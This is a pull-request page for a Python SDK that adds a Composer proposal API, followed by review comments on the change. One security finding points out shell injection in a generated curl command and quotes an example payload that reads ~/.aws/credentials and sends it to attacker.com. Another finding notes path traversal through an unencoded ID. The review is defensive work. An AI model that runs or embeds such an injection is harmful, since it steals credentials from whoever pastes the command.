Add wave.compose: the PR4 Composer rendering behind POST /v1/compose - #50
Conversation
wave.compose.compose(intent, budget_usd=None, flow_id=None, referer=None) proposes a plan across WAVE products for a plain-English intent and returns a typed ComposeProposal matching the wire contract field for field via pydantic aliases (camelCase on the wire, snake_case in Python). A proposal never executes anything: executes is a literal False, never derived. wave.compose.get_proposal(id) re-reads a stored proposal instead of re-composing. wave.compose.save_flow(proposal) builds the console flows-save body with createdBy.kind: "wave-composer" plus the proposal manifestHash/groundedAt. No machine-auth token exists yet for wave-composer callers, so this method makes zero HTTP calls and never invents a credential; it prints and returns the exact curl a signed-in console session can paste. Never a silent no-op. Bumped 2.1.0 -> 2.2.0 (additive). Tests: a fixture round-trip proving model_validate -> model_dump(by_alias=True) reproduces the wire JSON byte-identically, a MagicMock-boundary test and a real httpx.MockTransport test both proving compose() issues exactly one POST /v1/compose and no other request, and save_flow tests proving zero HTTP calls and no bearer token in its own request headers. 71/71 pytest pass; ruff check clean.

ApprovabilityVerdict: Not approved Macroscope's review found this PR not approvable — This PR introduces a new public Composer capability with typed wire models, new proposal endpoints, and a console-flow handoff, rather than making a small isolated adjustment. Although existing APIs remain unchanged and the new behavior is well covered by mocks, the cross-product integration and lack of live gateway validation warrant human review. Not approved because:

⚠️ Security: save_flow()'s curl breaks (or is exploitable) on unescaped quotes
The JSON body is interpolated into a single-quoted shell argument (-d '{_json.dumps(body)}') with no escaping of embedded single quotes. json.dumps never escapes ', so any string field in the proposal containing an apostrophe — including the very fixture shipped in this PR, whose intent is "live captions for tomorrow's webinar" — breaks out of the quoted -d argument, corrupting the command and turning the trailing JSON into literal shell tokens. Since intent and other fields ultimately originate from user/LLM-controlled text, a crafted intent (e.g. containing '; curl attacker.com/steal -d $(cat ~/.aws/credentials); ') could turn the printed "copy-paste this curl" instructions into a command-injection vector against whoever pastes it into a shell. Escape single quotes before embedding them (e.g. replace ' with '\'') or build the argument with shlex.quote(json.dumps(body)) instead of manual string formatting; also validate/quote console_base_url the same way.
Use shlex.quote to safely quote both the URL and the JSON payload for shell embedding, instead of manual single-quote wrapping.:
import shlex
...
curl = (
f"curl -X POST {shlex.quote(console_base_url.rstrip('/') + '/api/console/flows')} \
"
' -H "Content-Type: application/json" \
'
' -H "Cookie: <paste your signed-in console session cookie>" \
'
f" -d {shlex.quote(_json.dumps(body))}"
)

💡 Quality: ComposePriceRow union relies on undiscriminated pydantic matching
ComposePriceRow = Union[QuotedPriceRow, UnquotedPriceRow] has no discriminator tag, relying on pydantic v2's default "smart" union mode to pick a variant purely from field shape. The two models are distinguishable today because QuotedPriceRow requires usd/unit/quotedAt/validForS and UnquotedPriceRow requires reason, but this is implicit and will silently become ambiguous if either model's required fields change later (e.g. adding an optional usd to UnquotedPriceRow). Consider adding an explicit discriminator (e.g. a literal kind: Literal["quoted"]/Literal["unquoted"] field with Field(discriminator=...)) so the wire contract is unambiguous even as the models evolve.
Add an explicit discriminator function based on presence of the usd field so variant selection doesn't depend on pydantic's implicit smart-union heuristics.:
from typing import Annotated
from pydantic import Discriminator, Tag
ComposePriceRow = Annotated[
Union[Annotated[QuotedPriceRow, Tag("quoted")], Annotated[UnquotedPriceRow, Tag("unquoted")]],
Discriminator(lambda v: "quoted" if (isinstance(v, dict) and "usd" in v) or hasattr(v, "usd") else "unquoted"),
]

Add RealtimeAPI, NotificationsAPI, and DrmAPI to both export checks.
tests/test_sdk_exports.py imports and expects only 40 of the 43 API classes. wave_sdk.__init__ exports and binds all three omitted classes. Because test_all_exports checks only the names in expected, removing any omitted name from wave_sdk.__all__ can pass the current checks. Add all three classes to the import list and expected list.

P1: save_flow embeds the JSON body inside a shell single-quoted string (-d '...'), but json.dumps never escapes single quotes. Both the user-controlled intent and the nested callShape.http field (a curl that itself contains -d '{"media_id":...}') carry literal ' characters into the body, so the apostrophes terminate the shell quoting. The printed curl is then either malformed (the pasted command fails to save the flow) or executes unintended shell fragments. This triggers even on the documented example (intent="live captions for tomorrow's webinar"). Quote the payload with shlex.quote() (or write the body to a file and use @file) so the generated curl is a single, safe command.

P2: get_proposal interpolates proposal_id directly into the URL path without URL-encoding or validation. A proposal_id containing / or ? (e.g. from an untrusted MCP tool call) can traverse to a different gateway endpoint or append a query string. Path-encode the id with urllib.parse.quote so it is treated as a single path segment.

save_flow() does not save a flow; it only prints and returns a curl command. Describe this as building a flow-save request rather than saving the proposal, so the README matches the implementation and its example comment.

P3: The changelog marks ## [2.2.0] - 2026-09-06 as a released, dated version while the immediately previous ## [2.1.0] - 2026-09-01 entry is still annotated "(not yet published to PyPI)". If 2.2.0 ships, version 2.1.0 will never be published, so the six earlier TS-parity APIs described under 2.1.0 actually ship inside 2.2.0. Presenting one release as released and the one beneath it as unreleased is internally inconsistent and misleads readers into thinking the 2.1.0 features are still absent from the installed package. Fold the 2.1.0 additions into the 2.2.0 section (or note that 2.1.0 was skipped and its content ships in 2.2.0) instead of leaving an unreleased version below a released one.

What
Adds
wave.compose(ComposeAPI), the Python SDK's rendering of the WAVE Composer:POST /v1/compose, the shared cross-rendering (API, CLI, SDK, MCP) contract for proposing a plan across WAVE products from a plain-English intent.compose(intent, *, budget_usd=None, flow_id=None, referer=None)posts toPOST /v1/compose(composer:write) and returns a typedComposeProposal:stages[],product_ids[],tools[],scopes[],price_rows[],call_shape,next_[],executes(alwaysFalse, a proposal never executes anything),grounding,grounded_at,manifest_hash,engine,flow_id.get_proposal(proposal_id)readsGET /v1/compose/proposals/:id(composer:read), so a caller re-reads a stored proposal instead of re-composing.save_flow(proposal)builds thePOST /api/console/flowsbody withcreatedBy.kind: "wave-composer"plus the proposal's ownmanifest_hash/grounded_at. No machine-auth token exists yet forwave-composercallers (the console's flow-save route is session-cookie only until acomposer:writeconsole token ships elsewhere in this program). This method makes zero HTTP calls and never invents a credential: it prints, and returns, the exactcurla human in a signed-in console session can paste. Never a silent no-op.wave.composenever calls a product route; its only two network calls are the two above.Types mirror the API's
ComposeProposalwire type field for field via pydanticField(alias=...), somodel_dump(by_alias=True)reproduces the exact camelCase JSON the gateway sends and validates, while Python attributes stay idiomatic snake_case (product_ids,price_rows,call_shape,next_,grounded_at,manifest_hash,flow_id).Why
The Composer engine is one plan proposed four ways (API, CLI, SDK, MCP) so none of the renderings drift from the engine or from each other. This PR is the Python SDK's rendering.
save_flowdeliberately refuses to silently no-op given the missing machine-auth token: an SDK that pretends to save a flow it cannot authenticate to save would be worse than an SDK that hands the caller the exact command to run themselves.Contract targeted
Public route
POST /v1/composeandGET /v1/compose/proposals/:idat api.wave.online, plusPOST /api/console/flows(console flow-save route,createdBy.kind: "wave-composer"). No private repo names are referenced in this PR's source, docs, or this description; the field-for-field wire shape (budgetUsd,flowId,productIds,priceRows,callShape,groundedAt,manifestHash,quotedAt,validForS,promptHash) was verified against the shared cross-rendering type contract before implementation.Test receipts (verbatim)
